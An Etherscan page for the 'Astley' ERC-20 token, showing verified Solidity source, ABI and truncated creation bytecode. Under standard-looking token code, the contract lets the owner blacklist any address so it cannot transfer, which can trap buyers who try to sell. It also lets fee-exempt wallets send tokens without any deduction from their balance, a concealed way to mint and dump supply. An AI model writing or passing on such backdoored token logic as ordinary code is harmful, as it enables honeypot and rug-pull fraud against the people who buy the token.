ERC-20
Overview
Max Total Supply
1,000,000,000 Astley
Holders
169
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
1,329,994.273385137946656816 AstleyValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Astley
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-11-04 */ /** https://mirror.xyz/0x09cb7fDcf821A84aAf59Fa934326C05fC81aDCC8/RVCFqyHJnJg59RlzYxA3N3uyr2putExFZyz4fGe--is ▐▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▌ ▐ ____ _ ____ _ _ _ _ _ ▌ ▐| _ \ ___| |_ | __ ) _ __(_) ___| | __ / \ ___| |_| | ___ _ _ ▌ ▐| |_) / _ \ __| | _ \| '__| |/ __| |/ / / _ \ / __| __| |/ _ \ | | |▌ ▐| __/ __/ |_ | |_) | | | | (__| < / ___ \\__ \ |_| | __/ |_| |▌ ▐|_| \___|\__| |____/|_| |_|\___|_|\_\ /_/ \_\___/\__|_|\___|\__, |▌ ▐ |___/ ▌ ▐▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▌ */ // SPDX-License-Identifier: MIT pragma solidity 0.8.19; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Ownable { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } function isOwner(address account) public view returns (bool) { return account == owner; } function renounceOwnership() public onlyOwner { owner = address(0); emit OwnershipTransferred(address(0)); } event OwnershipTransferred(address owner); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); } contract Astley is ERC20, Ownable { using SafeMath for uint256; address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address DEAD = 0x000000000000000000000000000000000000dEaD; string private _name; string private _symbol; uint8 constant _decimals = 18; uint256 public _totalSupply = 1_000_000_000 * (10**_decimals); uint256 public _maxWalletAmount = (_totalSupply * 100) / 100; uint256 public _swapAstleyThreshHold = (_totalSupply * 1)/ 10000; uint256 public _maxTaxSwap=(_totalSupply * 10) / 10000; mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) _allowances; mapping(address => bool) isFeeExempt; mapping(address => bool) isTxLimitExempt; mapping(address => bool) private Astleys; address public _AstleyWallet; address public pair; IUniswapV2Router02 public router; bool public swapEnabled = false; bool public AstleyFeeEnabled = false; bool public TradingOpen = false; uint256 private _initBuyTax=0; uint256 private _initSellTax=0; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=0; uint256 private _reduceSellTaxAt=0; uint256 private _buyCounts=0; bool inSwap; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address AstleyWallet, string memory name_, string memory symbol_) Ownable(msg.sender) { address _owner = owner; _AstleyWallet = AstleyWallet; _name = name_; _symbol = symbol_; isFeeExempt[_owner] = true; isFeeExempt[_AstleyWallet] = true; isFeeExempt[address(this)] = true; isTxLimitExempt[_owner] = true; isTxLimitExempt[_AstleyWallet] = true; isTxLimitExempt[address(this)] = true; _balances[_owner] = _totalSupply; emit Transfer(address(0), _owner, _totalSupply); } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function _basicTransfer( address sender, address recipient, uint256 amount ) internal returns (bool) { _balances[sender] = _balances[sender].sub( amount, "Insufficient Balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function withdrawAstleyBalance() external onlyOwner { require(address(this).balance > 0, "Token: no ETH to clear"); payable(msg.sender).transfer(address(this).balance); } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function enableAstleyTrade() public onlyOwner { require(!TradingOpen,"trading is already open"); TradingOpen = true; AstleyFeeEnabled = true; swapEnabled = true; } function getAstleyAmounts(uint action, bool takeFee, uint256 tAmount) internal returns(uint256, uint256) { uint256 sAmount = takeFee ? tAmount : AstleyFeeEnabled ? takeAstleyAmountAfterFees(action, takeFee, tAmount) : tAmount; uint256 rAmount = AstleyFeeEnabled && takeFee ? takeAstleyAmountAfterFees(action, takeFee, tAmount) : tAmount; return (sAmount, rAmount); } function decimals() external pure override returns (uint8) { return _decimals; } function internalSwapBackEth(uint256 amount) private lockTheSwap { uint256 tokenBalance = balanceOf(address(this)); uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap)); address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 ethAmountFor = address(this).balance; payable(_AstleyWallet).transfer(ethAmountFor); } function removeAstleyLimit() external onlyOwner returns (bool) { _maxWalletAmount = _totalSupply; return true; } function takeAstleyAmountAfterFees(uint AstleyActions, bool AstleyTakefee, uint256 amounts) internal returns (uint256) { uint256 AstleyPercents; uint256 AstleyFeePrDenominator = 100; if(AstleyTakefee) { if(AstleyActions > 1) { AstleyPercents = (_buyCounts>_reduceSellTaxAt ? _finalSellTax : _initSellTax); } else { if(AstleyActions > 0) { AstleyPercents = (_buyCounts>_reduceBuyTaxAt ? _finalBuyTax : _initBuyTax); } else { AstleyPercents = 0; } } } else { AstleyPercents = 1; } uint256 feeAmounts = amounts.mul(AstleyPercents).div(AstleyFeePrDenominator); _balances[address(this)] = _balances[address(this)].add(feeAmounts); feeAmounts = AstleyTakefee ? feeAmounts : amounts.div(AstleyPercents); return amounts.sub(feeAmounts); } receive() external payable { } function _transferTaxTokens( address sender, address recipient, uint256 amount, uint action, bool takeFee ) internal returns (bool) { uint256 senderAmount; uint256 recipientAmount; (senderAmount, recipientAmount) = getAstleyAmounts(action, takeFee, amount); _balances[sender] = _balances[sender].sub( senderAmount, "Insufficient Balance" ); _balances[recipient] = _balances[recipient].add(recipientAmount); emit Transfer(sender, recipient, amount); return true; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function createAstleyTrade() external onlyOwner { router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); isTxLimitExempt[pair] = true; _allowances[address(this)][address(router)] = type(uint256).max; router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function inSwapAstleyTokens(bool isIncludeFees , uint isSwapActions, uint256 pAmount, uint256 pLimit) internal view returns (bool) { uint256 minAstleyTokens = pLimit; uint256 tokenAstleyWeight = pAmount; uint256 contractAstleyOverWeight = balanceOf(address(this)); bool isSwappable = contractAstleyOverWeight > minAstleyTokens && tokenAstleyWeight > minAstleyTokens; return !inSwap && isIncludeFees && isSwapActions > 1 && isSwappable && swapEnabled; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function reduceFinalBuyTax(uint256 _newFee) external onlyOwner{ _finalBuyTax=_newFee; } function reduceFinalSellTax(uint256 _newFee) external onlyOwner{ _finalSellTax=_newFee; } function isAstleyUserBuy(address sender, address recipient) internal view returns (bool) { return recipient != pair && recipient != DEAD && !isFeeExempt[sender] && !isFeeExempt[recipient]; } function isTakeAstleyActions(address from, address to) internal view returns (bool, uint) { uint _actions = 0; bool _isTakeFee = isTakeFees(from); if(to == pair) { _actions = 2; } else if (from == pair) { _actions = 1; } else { _actions = 0; } return (_isTakeFee, _actions); } function addAstleys(address[] memory Astleys_) public onlyOwner { for (uint i = 0; i < Astleys_.length; i++) { Astleys[Astleys_[i]] = true; } } function delAstleys(address[] memory notAstley) public onlyOwner { for (uint i = 0; i < notAstley.length; i++) { Astleys[notAstley[i]] = false; } } function isAstley(address a) public view returns (bool){ return Astleys[a]; } function _transferStandardTokens( address sender, address recipient, uint256 amount ) internal returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool takefee; uint actions; require(!Astleys[sender] && !Astleys[recipient]); if (inSwap) { return _basicTransfer(sender, recipient, amount); } if(!isFeeExempt[sender] && !isFeeExempt[recipient]){ require(TradingOpen,"Trading not open yet"); } if(!swapEnabled) { return _basicTransfer(sender, recipient, amount); } if (isAstleyUserBuy(sender, recipient)) { require( isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletAmount, "Transfer amount exceeds the bag size." ); increaseBuyCount(sender); } (takefee, actions) = isTakeAstleyActions(sender, recipient); if (inSwapAstleyTokens(takefee, actions, amount, _swapAstleyThreshHold)) { internalSwapBackEth(amount); } _transferTaxTokens(sender, recipient, amount, actions, takefee); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { if (_allowances[sender][msg.sender] != type(uint256).max) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] .sub(amount, "Insufficient Allowance"); } return _transferStandardTokens(sender, recipient, amount); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferStandardTokens(msg.sender, recipient, amount); } function increaseBuyCount(address sender) internal { if(sender == pair) { _buyCounts++; } } function isTakeFees(address sender) internal view returns (bool) { return !isFeeExempt[sender]; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"AstleyWallet","type":"address"},{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"AstleyFeeEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_AstleyWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapAstleyThreshHold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"Astleys_","type":"address[]"}],"name":"addAstleys","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createAstleyTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notAstley","type":"address[]"}],"name":"delAstleys","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableAstleyTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isAstley","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFinalBuyTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFinalSellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeAstleyLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawAstleyBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506012600a620000ac919062000743565b633b9aca00620000bd919062000794565b600555606480600554620000d2919062000794565b620000de91906200080e565b6006556127106001600554620000f5919062000794565b6200010191906200080e565b600755612710600a60055462000118919062000794565b6200012491906200080e565b6008556000601060146101000a81548160ff0219169083151502179055506000601060156101000a81548160ff0219169083151502179055506000601060166101000a81548160ff0219169083151502179055506000601155600060125560006013556000601455600060155560006016556000601755348015620001a857600080fd5b50604051620047cd380380620047cd8339818101604052810190620001ce919062000a3e565b33806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905083600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550826003908162000288919062000d19565b5081600490816200029a919062000d19565b506001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600554600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60055460405162000597919062000e11565b60405180910390a35050505062000e2e565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000637578086048111156200060f576200060e620005a9565b5b60018516156200061f5780820291505b80810290506200062f85620005d8565b9450620005ef565b94509492505050565b60008262000652576001905062000725565b8162000662576000905062000725565b81600181146200067b57600281146200068657620006bc565b600191505062000725565b60ff8411156200069b576200069a620005a9565b5b8360020a915084821115620006b557620006b4620005a9565b5b5062000725565b5060208310610133831016604e8410600b8410161715620006f65782820a905083811115620006f057620006ef620005a9565b5b62000725565b620007058484846001620005e5565b925090508184048111156200071f576200071e620005a9565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000750826200072c565b91506200075d8362000736565b92506200078c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000640565b905092915050565b6000620007a1826200072c565b9150620007ae836200072c565b9250828202620007be816200072c565b91508282048414831517620007d857620007d7620005a9565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200081b826200072c565b915062000828836200072c565b9250826200083b576200083a620007df565b5b828204905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000887826200085a565b9050919050565b62000899816200087a565b8114620008a557600080fd5b50565b600081519050620008b9816200088e565b92915050565b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200091482620008c9565b810181811067ffffffffffffffff82111715620009365762000935620008da565b5b80604052505050565b60006200094b62000846565b905062000959828262000909565b919050565b600067ffffffffffffffff8211156200097c576200097b620008da565b5b6200098782620008c9565b9050602081019050919050565b60005b83811015620009b457808201518184015260208101905062000997565b60008484015250505050565b6000620009d7620009d1846200095e565b6200093f565b905082815260208101848484011115620009f657620009f5620008c4565b5b62000a0384828562000994565b509392505050565b600082601f83011262000a235762000a22620008bf565b5b815162000a35848260208601620009c0565b91505092915050565b60008060006060848603121562000a5a5762000a5962000850565b5b600062000a6a86828701620008a8565b935050602084015167ffffffffffffffff81111562000a8e5762000a8d62000855565b5b62000a9c8682870162000a0b565b925050604084015167ffffffffffffffff81111562000ac05762000abf62000855565b5b62000ace8682870162000a0b565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b2b57607f821691505b60208210810362000b415762000b4062000ae3565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000bab7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000b6c565b62000bb7868362000b6c565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000bfa62000bf462000bee846200072c565b62000bcf565b6200072c565b9050919050565b6000819050919050565b62000c168362000bd9565b62000c2e62000c258262000c01565b84845462000b79565b825550505050565b600090565b62000c4562000c36565b62000c5281848462000c0b565b505050565b5b8181101562000c7a5762000c6e60008262000c3b565b60018101905062000c58565b5050565b601f82111562000cc95762000c938162000b47565b62000c9e8462000b5c565b8101602085101562000cae578190505b62000cc662000cbd8562000b5c565b83018262000c57565b50505b505050565b600082821c905092915050565b600062000cee6000198460080262000cce565b1980831691505092915050565b600062000d09838362000cdb565b9150826002028217905092915050565b62000d248262000ad8565b67ffffffffffffffff81111562000d405762000d3f620008da565b5b62000d4c825462000b12565b62000d5982828562000c7e565b600060209050601f83116001811462000d91576000841562000d7c578287015190505b62000d88858262000cfb565b86555062000df8565b601f19841662000da18662000b47565b60005b8281101562000dcb5784890151825560018201915060208501945060208101905062000da4565b8683101562000deb578489015162000de7601f89168262000cdb565b8355505b6001600288020188555050505b505050505050565b62000e0b816200072c565b82525050565b600060208201905062000e28600083018462000e00565b92915050565b61398f8062000e3e6000396000f3fe6080604052600436106101dc5760003560e01c80636c0a24eb116101025780639c22f16811610095578063bd37880011610064578063bd37880014610699578063dd62ed3e146106c4578063e871c20714610701578063f887ea4014610718576101e3565b80639c22f168146105db578063a8aa1b3114610606578063a9059cbb14610631578063ac28c3111461066e576101e3565b806370a08231116100d157806370a0823114610531578063715018a61461056e578063893d20e81461058557806395d89b41146105b0576101e3565b80636c0a24eb1461049b5780636ce42475146104c65780636ddd1713146104ef5780636e60f2521461051a576101e3565b806323b872dd1161017a5780633ce91421116101495780633ce91421146103f15780633eaaf86b1461041c5780633f764f0b146104475780635cc67ef61461045e576101e3565b806323b872dd146103235780632c743eac146103605780632f54bf6e14610389578063313ce567146103c6576101e3565b8063095ea7b3116101b6578063095ea7b3146102675780630b3e87fb146102a45780630faee56f146102cd57806318160ddd146102f8576101e3565b806304b35b18146101e857806306fdde031461021157806308fd3d051461023c576101e3565b366101e357005b600080fd5b3480156101f457600080fd5b5061020f600480360381019061020a9190612c44565b610743565b005b34801561021d57600080fd5b50610226610820565b6040516102339190612d0c565b60405180910390f35b34801561024857600080fd5b506102516108b2565b60405161025e9190612d49565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190612d9a565b6108c5565b60405161029b9190612d49565b60405180910390f35b3480156102b057600080fd5b506102cb60048036038101906102c69190612c44565b6109b7565b005b3480156102d957600080fd5b506102e2610a94565b6040516102ef9190612de9565b60405180910390f35b34801561030457600080fd5b5061030d610a9a565b60405161031a9190612de9565b60405180910390f35b34801561032f57600080fd5b5061034a60048036038101906103459190612e04565b610aa4565b6040516103579190612d49565b60405180910390f35b34801561036c57600080fd5b5061038760048036038101906103829190612e57565b610ca4565b005b34801561039557600080fd5b506103b060048036038101906103ab9190612e84565b610cf6565b6040516103bd9190612d49565b60405180910390f35b3480156103d257600080fd5b506103db610d4f565b6040516103e89190612ecd565b60405180910390f35b3480156103fd57600080fd5b50610406610d58565b6040516104139190612de9565b60405180910390f35b34801561042857600080fd5b50610431610d5e565b60405161043e9190612de9565b60405180910390f35b34801561045357600080fd5b5061045c610d64565b005b34801561046a57600080fd5b5061048560048036038101906104809190612e84565b6111f3565b6040516104929190612d49565b60405180910390f35b3480156104a757600080fd5b506104b0611249565b6040516104bd9190612de9565b60405180910390f35b3480156104d257600080fd5b506104ed60048036038101906104e89190612e57565b61124f565b005b3480156104fb57600080fd5b506105046112a1565b6040516105119190612d49565b60405180910390f35b34801561052657600080fd5b5061052f6112b4565b005b34801561053d57600080fd5b5061055860048036038101906105539190612e84565b611388565b6040516105659190612de9565b60405180910390f35b34801561057a57600080fd5b506105836113d1565b005b34801561059157600080fd5b5061059a611494565b6040516105a79190612ef7565b60405180910390f35b3480156105bc57600080fd5b506105c56114bd565b6040516105d29190612d0c565b60405180910390f35b3480156105e757600080fd5b506105f061154f565b6040516105fd9190612ef7565b60405180910390f35b34801561061257600080fd5b5061061b611575565b6040516106289190612ef7565b60405180910390f35b34801561063d57600080fd5b5061065860048036038101906106539190612d9a565b61159b565b6040516106659190612d49565b60405180910390f35b34801561067a57600080fd5b506106836115b0565b6040516106909190612d49565b60405180910390f35b3480156106a557600080fd5b506106ae61160a565b6040516106bb9190612d49565b60405180910390f35b3480156106d057600080fd5b506106eb60048036038101906106e69190612f12565b61161d565b6040516106f89190612de9565b60405180910390f35b34801561070d57600080fd5b506107166116a4565b005b34801561072457600080fd5b5061072d61178f565b60405161073a9190612fb1565b60405180910390f35b61074c33610cf6565b61078b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078290613018565b60405180910390fd5b60005b815181101561081c576000600d60008484815181106107b0576107af613038565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061081490613096565b91505061078e565b5050565b60606003805461082f9061310d565b80601f016020809104026020016040519081016040528092919081815260200182805461085b9061310d565b80156108a85780601f1061087d576101008083540402835291602001916108a8565b820191906000526020600020905b81548152906001019060200180831161088b57829003601f168201915b5050505050905090565b601060169054906101000a900460ff1681565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109a59190612de9565b60405180910390a36001905092915050565b6109c033610cf6565b6109ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f690613018565b60405180910390fd5b60005b8151811015610a90576001600d6000848481518110610a2457610a23613038565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a8890613096565b915050610a02565b5050565b60085481565b6000600554905090565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673f